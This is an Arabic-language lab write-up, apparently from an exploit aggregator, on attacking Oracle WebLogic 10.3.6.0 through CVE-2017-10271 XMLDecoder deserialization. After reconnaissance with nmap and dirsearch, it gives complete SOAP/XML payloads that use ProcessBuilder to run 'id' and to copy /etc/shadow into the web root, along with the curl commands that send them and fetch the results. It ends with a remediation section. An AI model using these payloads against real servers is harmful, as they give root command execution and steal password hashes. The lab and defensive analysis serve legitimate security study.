## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DUNGSOCOOL-CVE-2017-10271
# LAB 2 - CVE-2017-10271: تقرير إلغاء تسلسل WebLogic XMLDecoder
# **أولاً: تحليل النظام**
### **تحليل سجلات النظام**
* **الخدمة المكتشفة:** Oracle WebLogic Server (`AdminServer` تابعة لـ `base_domain` وتعمل في `Development Mode`).
* **منفذ الاتصال:** `7001`.
* **البروتوكولات المدعومة:** `http`, `t3`, `iiop`, `ldap`, `snmp`.
* **تقييم سطح الهجوم:**
* تعرض الخدمة بروتوكول `t3` على المنفذ `7001`. يحمل هذا التكوين الافتراضي خطرًا كبيرًا إذا لم يكن إصدار WebLogic محدثًا ضد الثغرات المتعلقة بإلغاء تسلسل كائنات Java عبر RMI (استدعاء الطرق عن بُعد).
* تعمل واجهة وحدة التحكم الإدارية على الويب عبر بروتوكول `http` على المنفذ `7001`، مما يجعلها عرضة لفحص الدلائل بحثًا عن نقاط نهاية حساسة مثل `/console/login/LoginForm.jsp`.
بمجرد تحديد المنافذ المفتوحة على الهدف، سنستخدم `nmap` لفحص المنفذ وتحديد الخدمة التي تعمل عليه.
وبالتالي، فإن الهدف يشغّل خدمة HTTP بالإصدار **Oracle WebLogic Server 10.3.6.0** \- وهو خادم تطبيقات Java على مستوى المؤسسات، معروف بسلسلة من الثغرات الحرجة (مثل **إلغاء التسلسل** و**تجاوز المصادقة**). لكن هذه المعلومات وحدها لا تكفي لتحديد الثغرة المحددة التي يكون النظام عرضة لها. نحتاج إلى **إجراء مسح أعمق** لمكوّنات **خدمات الويب المصاحبة**.
سنقوم بعد ذلك بـ**تحديد نقاط النهاية الحساسة** باستخدام أداة `dirsearch`. نظرًا لأن WebLogic يعمل على منصة Java، فإن ملفات `.jsp` و`.xml` هي الأهداف الأكثر حساسية. وسنركّز على نقاط النهاية التي تُرجع رمز الحالة 200.
`dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html`
* **`/console/login/LoginForm.jsp`:** بوابة تسجيل الدخول لواجهة ويب وحدة تحكم WebLogic الإدارية. تُعد هدفًا مهمًا لسيناريوهات تخمين بيانات الاعتماد الافتراضية أو ثغرات تجاوز المصادقة (مثل CVE-2020-14882).
* **`/bea_wls_internal/`:** دليل تطبيق الويب الداخلي الافتراضي لخادم WebLogic. يسمح هذا المكوّن بالوصول إلى ملفات النظام الثابتة والتفاعل معها.
* **`/wls-wsat/CoordinatorPortType`:** هذا هو الاكتشاف الأكثر حرجًا. وجود هذا المسار مع رمز الحالة `200 OK` يؤكد أن مكوّن **Web Services Atomic Transactions (wls-wsat)** مفعّل وجاهز لاستقبال البيانات.
* **`/uddiexplorer` و `/uddi/uddilistener`:** هذا هو مكوّن **UDDI Explorer** (الوصف والاكتشاف والتكامل العالمي) المدمج افتراضيًا في خادم WebLogic لإدارة خدمات الويب وتسجيلها. يشتهر هذا المكوّن بشدة بثغرة **SSRF (تزوير الطلبات من جانب الخادم) - CVE-2014-4210**. يمكن للمهاجم استغلال واجهة البحث في السجل العام لـ UDDI عند نقطة النهاية `/uddiexplorer/SearchPublicRegistries.jsp` لإجبار خادم WebLogic على إرسال طلبات HTTP عشوائية إلى الشبكة الداخلية الخلفية.
**⇒ التفكير:** التعايش بين `/wls-wsat` (**خطر RCE عبر XMLDecoder**) و`/uddiexplorer` (**خطر SSRF**) يشير إلى أن **سطح الهجوم لخادم WebLogic هذا واسع للغاية.**
بعد تحديد سطحَي هجوم مستقلين يتعايشان على خادم WebLogic 10.3.6.0، نقوم بتحليل الاتجاهين:
1. **ثغرة SSRF (CVE-2014-4210) في`/uddiexplorer`:**
* **تأثير متوسط:** تسمح بإرسال طلبات HTTP غير مباشرة من الخادم لفحص المنافذ في شبكة LAN أو التفاعل مع الخدمات الداخلية (مثل Redis).
* **القيود:** لا تمنح سيطرة مباشرة على مستوى نظام التشغيل (OS Level). ويعتمد الانتقال من SSRF إلى RCE بشكل كبير على ما إذا كانت الشبكة الداخلية تحتوي على خدمات أخرى ذات إعدادات خاطئة.
2. **ثغرة إلغاء تسلسل XMLDecoder (CVE-2017-10271) في`/wls-wsat`:**
* **التأثير:** حرجة. تسمح بتنفيذ أوامر عشوائية عن بُعد (RCE) مباشرة على الخادم بصلاحيات العملية الجارية.
**⇒ القرار:** في نموذج سلسلة الهجوم السيبراني، **تُعد RCE دائمًا الهدف النهائي** لأنها توفر سيطرة مباشرة وكاملة على النظام (Full System Compromise). وبمجرد تحقيق القدرة على RCE، يصبح استغلال SSRF عبر تطبيق UDDI غير ضروري. وذلك لأنه من قشرة RCE يمكننا تنفيذ استعلامات الشبكة الداخلية بشكل مباشر ومرن وأكثر قوة (باستخدام أوامر النظام مثل `curl`, `wget`) دون أن نكون مقيدين بمعاملات واجهة UDDI.
لذلك، من منظور منطق ترتيب أولويات الاستغلال، قررنا **استبعاد المسار الثانوي (SSRF في`/uddiexplorer`) والتركيز بالكامل على البحث في: تنفيذ الأوامر عن بُعد (RCE) عبر ثغرة إلغاء تسلسل XMLDecoder في `/wls-wsat/CoordinatorPortType`**.
### تحليل آلية الثغرة واختبارها
يحدث السبب الجذري لثغرة CVE-2017-10271 لأن فئة `WorkContextXmlInputAdapter` في WebLogic تستخدم كائن `java.beans.XMLDecoder` لتحليل البيانات في وسم `<work:WorkContext>`. افتراضيًا، ستقوم فئة `XMLDecoder` هذه بإنشاء أي فئة Java معرفة في شكل وسم XML تلقائيًا. ومن هنا، نجري **التحقق بناءً على تفاعل سلوكي للنظام خطوة بخطوة**.
للتحقق السريع من الحالة الفعلية النشطة لهذا الـ Servlet، أرسل طلب استكشاف HTTP GET عادي:
`curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType`
تعيد الاستجابة **`HTTP/1.1 200 OK`** مع فئة التنفيذ `CoordinatorPortTypePortImpl`، مما يؤكد أن الـ Servlet قد تم تحميله بنجاح في ذاكرة JVM.
#### **التحقق من معالجة بيانات POST**
بما أن Servlets خدمات الويب مصممة لمعالجة بيانات SOAP XML عبر طريقة **POST** ، فإننا نجري اختبارًا مقارنًا باستخدام طلبي POST لعرض مسار معالجة البيانات في النظام:
**1\. طلب SOAP POST القياسي**
نرسل مغلف SOAP XML قياسيًا (بمساحات أسماء كاملة ولكن بدون محتوى تنفيذي) لاختبار قدرة المحلّل على التحليل بشكل طبيعي.
root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"
* **النتيجة:** يعمل النظام بسلاسة عبر المحلّل ويشير فقط إلى خطأ في طبقة منطق الخدمة الخلفية (`Cannot find dispatch method`).
**التحليل:**
يمتلك الخادم قارئ XML يعمل بشكل جيد على منفذ POST، وجاهز لاستقبال وفك ترميز بنية شجرة XML الكاملة التي يرسلها المستخدم. يؤكد هذا أن **مسار البيانات من العميل إلى داخل ذاكرة WebLogic يعمل بكامل طاقته**.
**2\. طلب POST ببيانات XML تالفة**
بعد ذلك، نقوم عمدًا بكسر بنية XML (مثل حذف مساحات الأسماء) لملاحظة آلية معالجة الاستثناءات في المحلّل.
root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"
* **النتيجة:** إرجاع الاستثناء `com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv"`.
**التحليل:**
1. يتم تمرير كل حرف، وكل وسم XML في Body حزمة POST مباشرةً إلى محلّل Java XML ذي المستوى الأدنى داخل JVM (`com.ctc.wstx`) للتحليل.
2. لا يمتلك النظام **أي نقطة فحص أو عامل تصفية أو جدار حماية لتطبيقات الويب (WAF) في المنتصف** لتصفية بيانات الإدخال. فلو وُجد عامل تصفية، لتم حظر الحزمة من البداية بدلاً من اختراق طبقة Java Parser بعمق وإحداث خطأ نظامي كهذا.
#### الخلاصة
الجمع بين النتائج العملية للتجارب وتحليل بنية النظام — بدءًا من استقبال Servlet الخاص بـ `wls-wsat` للحزم الخام عبر منفذ POST، وغياب WAF/مرشح الفحص في طبقة المحلّل، وصولاً إلى إلقاء أخطاء Java XML Reader الخام مباشرةً — **يؤكد أن الخادم يشغّل بنية خدمة شديدة الحساسية تقع مباشرةً ضمن نطاق CVE-2017-10271 (إلغاء تسلسل XMLDecoder)**.
ونظرًا لأن آلية التحليل الافتراضية لـ `XMLDecoder` لا تحتوي على أي مرشحات للتحكم في الفئات، فإن استلام الخادم لبيانات POST الخام دون تعقيم يُعد البوابة المثالية التي تسمح لنا بتصميم حمولات تستدعي كائنات تنفيذ نظام Java مباشرةً في الخطوة التالية.
# **ثانياً: الاستغلال**
#### **التفكير في بناء الحمولة يدويًا**
نظرًا لأن خادم WebLogic 10.3.6.0 يعمل على بيئة Java قديمة ولا يطبّق مرشحات صارمة للتحكم في الفئات على `XMLDecoder`، يمكن للمهاجم حقن كائنات Java قابلة للتنفيذ مباشرةً.
الفئة القياسية لتنفيذ الأوامر في Java هي **`java.lang.ProcessBuilder`**. نقوم بتعيين منطق تهيئة كائن Java هذا إلى تنسيق XML متوافق مع `XMLDecoder`:
* إعلان تهيئة الفئة: `<void class="java.lang.ProcessBuilder">`
* تعريف مصفوفة سلاسل من المعاملات تحتوي على الأمر المراد تشغيله: `<array class="java.lang.String" length="3">`
* تشغيل طريقة التنفيذ: `<void method="start"/>`
#### **تجاوز RCE الأعمى**
عند تنفيذ أمر نظام عبر `ProcessBuilder`، يشغّل خادم WebLogic الأمر في الخلفية على نظام التشغيل ولا يُرجع سوى رمز خطأ HTTP 500 (ولا يطبع مخرجات الأمر مباشرةً على شاشة استجابة HTTP). تُسمى هذه الآلية **تعيين تطبيق الويب (Web Application Mapping)** — تعمل جميع خوادم الويب بهذه الطريقة. دليل `war/` هو **جذر المستندات (Document Root)** لذلك التطبيق. يمكن الوصول إلى أي ملف موجود في `war/` عبر مسار قصير.
⇒ لتجاوز **RCE الأعمى** ، يجب علينا العثور على المسار الفعلي — نظرًا لأن أمر `id > ...` يعمل على **نظام التشغيل** ، فهو يتطلب المسار الحقيقي.
**تحليل الصندوق الأبيض للعثور على دليل`/war`**
للعثور على المسار الفعلي للتطبيق `bea_wls_internal` الذي يتم تحميله داخل الحاوية، ننفذ استعلام بحث نظام مباشرةً من الجهاز المضيف:
**النتائج**
* `/root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war` (ملف المكتبة الأرشيفي الأصلي).
* `/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal` (دليل التطبيق النشط بعد فك الضغط في القسم المؤقت `_WL_internal` الخاص بـ AdminServer). عند التعمق في هذا الدليل النشط، نعثر على الدليل الفرعي الذي يحتوي الملفات الثابتة: `/9j4dqk/war/`. هذا هو دليل جذر الويب المطلق للتطبيق، حيث يملك المهاجم أذونات كتابة لكتابة ملفات ثابتة تعرض نتائج تنفيذ RCE.
**التفكير:** تصميم أمر لإعادة توجيه مخرجات `id` إلى ملف ثابت `rce.txt` في الدليل أعلاه: `id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt`
### **إنشاء حمولة استغلال XMLDecoder**
من التحليل أعلاه، نعلم أن فئة `XMLDecoder` في Java ستقوم تلقائيًا بإنشاء وتنفيذ أي كائن معرّف في شكل وسوم XML. لاستدعاء أوامر نظام التشغيل في Java، تكون الفئة القياسية هي `java.lang.ProcessBuilder`.
عملية التعيين من كود Java المكافئ إلى بنية XML الخاصة بـ `XMLDecoder`:
**كود Java المكافئ:**
root@kitploit:~
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();
**التعيين إلى وسوم XML الخاصة بـ XMLDecoder:**
أنشئ ملف `exploit.xml` على جهاز Kali Linux يحتوي على بنية SOAP الكاملة:
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
من جهاز Kali Linux، أرسل ملف XML الذي يحتوي حمولة الاستغلال إلى نقطة النهاية المستهدفة:
root@kitploit:~
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d @exploit.xml
### **التحقق من نتائج RCE**
قم بالوصول إلى الملف الثابت `rce.txt` الذي تم إنشاؤه للتو في دليل جذر الويب:
root@kitploit:~
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt
**استغلال RCE ناجح.** تؤكد نتيجة أمر `id` أن عملية WebLogic تعمل بصلاحيات `root`.
# **ثالثاً: ما بعد الاستغلال**
### **التحقق من الصلاحيات**
تُرجع نتيجة تنفيذ أمر `id` القيمة `uid=0(root)`. يثبت ذلك أن عملية خادم WebLogic تعمل مباشرةً بأعلى صلاحيات **root** لنظام التشغيل. يمتلك المهاجم سيطرة كاملة على النظام دون الحاجة إلى أي خطوات إضافية لتصعيد الصلاحيات.
### **جمع البيانات الحساسة**
يمكن للمهاجم قراءة ملفات النظام الحساسة بسهولة مثل `/etc/shadow`. نقوم بإنشاء ملف `exploit_shadow.xml` وإرساله **عبر حمولة XML بحيث يشغّله خادم WebLogic تلقائيًا.** وهذا **يأمر الخادم بقراءة الملف** وتوجيهه إلى دليل `Document root` ليصبح قابلاً للوصول من عنوان URL خارجي.
root@kitploit:~
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
EOF
ثم أرسل الحمولة واقرأ الملف من الخارج:
root@kitploit:~
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml
curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt
يتم تسريب قائمة حسابات النظام بالكامل مع تجزئات كلمات المرور.
### **الصدفة العكسية**
نظرًا لأن الحاوية تعمل في بيئة شبكة داخلية معزولة (NAT/Bridge لمضيف Docker)، فإن إنشاء اتصال عكسي (Reverse Shell) مباشرةً إلى جهاز Kali خارج الشبكة المحلية قد يواجه عوائق في التوجيه. في بيئة واقعية (إنتاج)، يمكن للمهاجم إعداد صدفة عكسية بالكامل إذا كان الخادم يمتلك اتصال إنترنت صادرًا.
ومع ذلك، فإن القدرة على تنفيذ الأوامر عن بُعد (RCE) مباشرةً بصلاحيات `root` والقدرة على قراءة/كتابة الملفات بشكل تفاعلي عبر جذر الويب كافية لتأكيد الاختراق الكامل للنظام.
# **رابعاً: التقييم والتوصيات**
### **تقييم المخاطر**
تُقيَّم ثغرة إلغاء تسلسل XMLDecoder (CVE-2017-10271) على نظام WebLogic هذا عند **أعلى مستوى خطر حرج (Critical)** :
### **توصيات المعالجة**
لمعالجة هذه الثغرة الأمنية الحرجة بشكل كامل، يجب على المسؤولين تنفيذ الإجراءات التالية فورًا:
**أولوية عاجلة (قصيرة المدى):**
1. **حذف أو تعطيل مكوّن wls-wsat:** إذا كان النظام لا يستخدم ميزات Web Services Atomic Transactions (WSAT)، فاحذف مجلد `wls-wsat.war` في مسار تثبيت WebLogic وأعد تشغيل الخدمة لإزالة سطح الهجوم هذا بالكامل.
2. **تطبيق التصحيح الأمني (Patching):** طبّق فورًا حزمة التحديث الأمني المستقلة من Oracle لثغرة CVE-2017-10271 أو قم بترقية خادم WebLogic إلى إصدار أحدث وأكثر أمانًا (الإصدار 12c أو الأحدث استبدل آلية معالجة XML ببديل آمن).
3. **خفض صلاحيات تنفيذ العملية:** أعد تكوين خدمة WebLogic لتشغيلها تحت حساب مستخدم مقيد الصلاحيات (مثل `oracle`)، ولا تقم أبدًا بتشغيل العملية بصلاحيات `root`.
**أولوية طويلة المدى (الدفاع المتعمق):**
1. **نشر جدار حماية لتطبيقات الويب (WAF):** قم بإعداد قواعد على جدار الحماية لاكتشاف وحظر طلبات POST الموجهة إلى نقاط نهاية `/wls-wsat/` التي تحتوي على وسوم XML المميزة لـ XMLDecoder مثل `<java>` و`<object>` و`<void>` و`<class>` و`<method>`.
2. **إعداد تجزئة الشبكة:** اعزل حاوية WebLogic، وامنع حركة مرور الشبكة الصادرة غير الضرورية (Outbound connections) لتقليل مخاطر الصدفة العكسية أو تنزيل تعليمات برمجية خبيثة إلى الحاوية من الخارج.